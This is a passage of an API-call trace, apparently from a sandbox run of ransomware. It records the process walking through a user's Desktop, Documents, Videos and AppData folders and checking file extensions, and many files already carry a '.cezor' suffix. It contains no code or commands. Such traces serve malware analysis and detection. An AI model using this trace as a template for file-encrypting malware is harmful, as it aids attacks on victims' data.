HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.733] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.733] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.733] PathFindFileNameW (pszPath="") returned="" [0122.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.734] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.734] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.734] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.734] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0122.734] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.734] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.734] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.735] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.735] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.735] PathFindFileNameW (pszPath="") returned="" [0122.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.739] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.740] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.740] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.740] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0122.740] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.740] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.740] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.740] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.740] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.740] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.740] PathFindFileNameW (pszPath="") returned="" [0122.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.740] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.740] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.740] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0122.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.741] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.741] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.741] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.741] PathFindFileNameW (pszPath="") returned="" [0122.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.742] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.742] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.742] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0122.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.742] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.742] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.742] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.743] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.744] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.744] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.744] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.745] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.745] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd20a1b0, ftCreationTime.dwHighDateTime=0x1d4c8c2, ftLastAccessTime.dwLowDateTime=0x151daef0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x151daef0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\-1 X.bmp.cezor") returned=".cezor" [0122.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\T0CQ8VVBC5Xi_UA\\xt72dHYiX\\u39sgkNzI3ujT06Y2kP.gif.cezor") returned=".cezor" [0122.746] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.746] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.746] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77a48260, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0x152271b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x152271b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\dbOCkvV1nk u.doc.cezor") returned=".cezor" [0122.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\p-qIG.doc.cezor") returned=".cezor" [0122.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\RBanc_ Xhdc-T.xlsx.cezor") returned=".cezor" [0122.749] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\x46p.rtf.cezor") returned=".cezor" [0122.749] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.750] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.750] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bcc7e10, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0x15273470, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x15273470, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\cpZgjv9AbFGPDH.odt.cezor") returned=".cezor" [0122.751] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\rBf2xQ.ods.cezor") returned=".cezor" [0122.751] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.751] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.751] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868464a0, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x152e5890, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x152e5890, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.754] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\B2EsvKtcKir28U.mkv.cezor") returned=".cezor" [0122.754] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Jf 8.avi.cezor") returned=".cezor" [0122.754] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\KIbJxOBGwieG.avi.cezor") returned=".cezor" [0122.754] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\WTnDwa-D4KBHQUw.mkv.cezor") returned=".cezor" [0122.754] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.755] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.755] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.755] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1530b9f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1530b9f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.757] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.cezor") returned=".cezor" [0122.757] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0122.757] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.757] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.762] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.763] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.763] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.764] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0122.768] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0122.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0122.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0122.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0122.769] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0122.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 